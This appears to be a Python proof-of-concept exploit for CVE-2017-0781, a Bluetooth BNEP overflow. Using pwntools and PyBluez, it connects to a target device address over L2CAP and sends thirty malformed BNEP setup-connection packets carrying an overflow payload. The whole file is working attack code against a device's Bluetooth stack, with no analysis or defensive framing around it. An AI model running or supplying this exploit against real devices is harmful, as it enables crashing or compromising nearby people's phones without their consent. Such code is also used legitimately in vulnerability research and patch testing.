47 lines
No EOL
1.2 KiB
Python
Executable file
47 lines
No EOL
1.2 KiB
Python
Executable file
from pwn import *
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import bluetooth
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if not 'TARGET' in args:
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log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
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exit()
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target = args['TARGET']
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count = 30 # Amount of packets to send
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port = 0xf # BT_PSM_BNEP
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context.arch = 'arm'
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BNEP_FRAME_CONTROL = 0x01
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BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
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def set_bnep_header_extension_bit(bnep_header_type):
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"""
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If the extension flag is equal to 0x1 then
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one or more extension headers follows the BNEP
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header; If extension flag is equal to 0x0 then the
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BNEP payload follows the BNEP header.
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"""
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return bnep_header_type | 128
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def bnep_control_packet(control_type, control_packet):
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return p8(control_type) + control_packet
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def packet(overflow):
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pkt = ''
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pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
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pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
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return pkt
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bad_packet = packet('AAAABBBB')
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log.info('Connecting...')
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sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
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bluetooth.set_l2cap_mtu(sock, 1500)
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sock.connect((target, port))
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log.info('Sending BNEP packets...')
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for i in range(count):
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sock.send(bad_packet)
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log.success('Done.')
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sock.close() |